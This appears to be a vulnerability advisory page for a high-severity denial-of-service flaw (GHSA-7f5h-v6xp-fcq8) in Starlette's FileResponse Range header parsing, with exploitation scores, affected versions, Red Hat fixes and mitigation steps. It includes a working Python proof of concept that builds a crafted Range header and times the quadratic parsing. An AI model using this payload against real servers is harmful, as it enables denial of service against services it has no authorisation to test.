NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``GHSA-7f5h-v6xp-fcq8

HIGHFix: Kludex/starlette@4ea6e22

GHSA-7f5h-v6xp-fcq8 is a high-severity (CVSS 7.5) CWE-407 vulnerability in starlette. A fix is available for starlette — see the affected versions and patch details below.

Also known asCVE-2025-62727PYSEC-2026-1942
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-7f5h-v6xp-fcq8.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs57th percentile — riskier than 57% of all scored CVEsHighest risk
0.00%0.43%0.87%1.30%0.4%0.8%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍starlette

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIstarlette≥ 0.39.0&&< 0.49.10.49.1pip install --upgrade 'starlette==0.49.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for starlette, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update starlette to 0.49.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7f5h-v6xp-fcq8 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

An IMPORTANT severity denial-of-service vulnerability was found in the Python Starlette ASGI framework, which is bundled with or used by a wide range of Red Hat offerings, including Red Hat Ansible Automation Platform, Red Hat OpenShift AI, Red Hat Enterprise Linux AI, Red Hat Satellite, Red Hat OpenShift distributed…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for GHSA-7f5h-v6xp-fcq8 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat AI Inference Server 3.2rhaiis/vllm-cuda-rhel9:3.2.2-1765379088RHSA-2025:23078
Red Hat AI Inference Server 3.2rhaiis/vllm-rocm-rhel9:3.2.2-1765379049RHSA-2025:23079
Red Hat AI Inference Server 3.2rhaiis/model-opt-cuda-rhel9:3.2.2-1764871796RHSA-2025:23080
Red Hat AI Inference Server 3.2rhaiis/vllm-cuda-rhel9:1772160593RHSA-2026:3461
Red Hat AI Inference Server 3.2rhaiis/vllm-rocm-rhel9:1772160625RHSA-2026:3462
Red Hat Ansible Automation Platform 2.5ansible-automation-platform-25/lightspeed-chatbot-rhel8:2.5.251203RHSA-2025:23131
Red Hat Ansible Automation Platform 2.6ansible-automation-platform-26/lightspeed-chatbot-rhel9:2.6RHSA-2025:23133
Red Hat OpenShift AI 2.22rhoai/odh-feature-server-rhel9:v2.22.3-1763565765RHSA-2025:22759

Frequently Asked Questions

### Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`). ### Details Starlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm. ```python # starlette/responses.py _RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS class FileRespon
O3 Security · Impact-Aware SCA

Is GHSA-7f5h-v6xp-fcq8 in your dependencies?

Find it across PyPI, including transitive dependencies.

Starlette vulnerable to O(n^2) DoS via Range header…